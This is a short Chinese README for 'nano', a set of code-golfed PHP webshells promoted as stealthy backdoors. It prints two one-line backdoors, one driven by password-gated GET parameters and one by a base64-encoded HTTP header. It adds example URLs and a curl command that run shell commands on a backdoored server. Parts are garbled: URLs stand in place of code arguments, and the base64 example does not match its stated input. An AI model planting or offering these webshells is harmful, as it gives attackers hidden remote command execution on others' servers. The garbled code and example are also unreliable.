Nano 是一个 PHP webshell 家族,经过代码高尔夫优化,极其隐蔽且高效。
也许可以关注一下,我会继续在这里上传更多 webshell。
<?=$_GET[p]==_&&$_GET[f](https://github.com/s0md3v/nano/blob/master/%24GET_%5Bc%5D);
http://example.com/nano.php?f=function&c=command&p=password
f 代表函数
c 代表命令
p 代表密码
例如,下面的代码将执行 ls 命令:
http://example.com/nano.php?f=system&c=ls&p=password
<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0](https://github.com/s0md3v/nano/blob/master/%24x%5B1%5D);
这个稍微复杂一点。
假设你想运行 system(ls),那么就把它写成 system~ls,然后进行 base64 编码,即 c3lzdGVtKGxzKQ==
现在在它的开头添加任意 1 个字符。比如说 'x',那么它就会变成 xc3lzdGVtKGxzKQ==
现在打开你的终端并输入以下命令
curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php
太麻烦了?你可以改用 handler。

这是我第一次写 PHP 相关的小玩意儿,所以如果你有更好的方式来实现我所做的事情,请告诉我或发起 pull request。
nano 项目采用 MIT 许可证 授权,这基本上意味着如果你想重新分发或修改它,必须给我署名。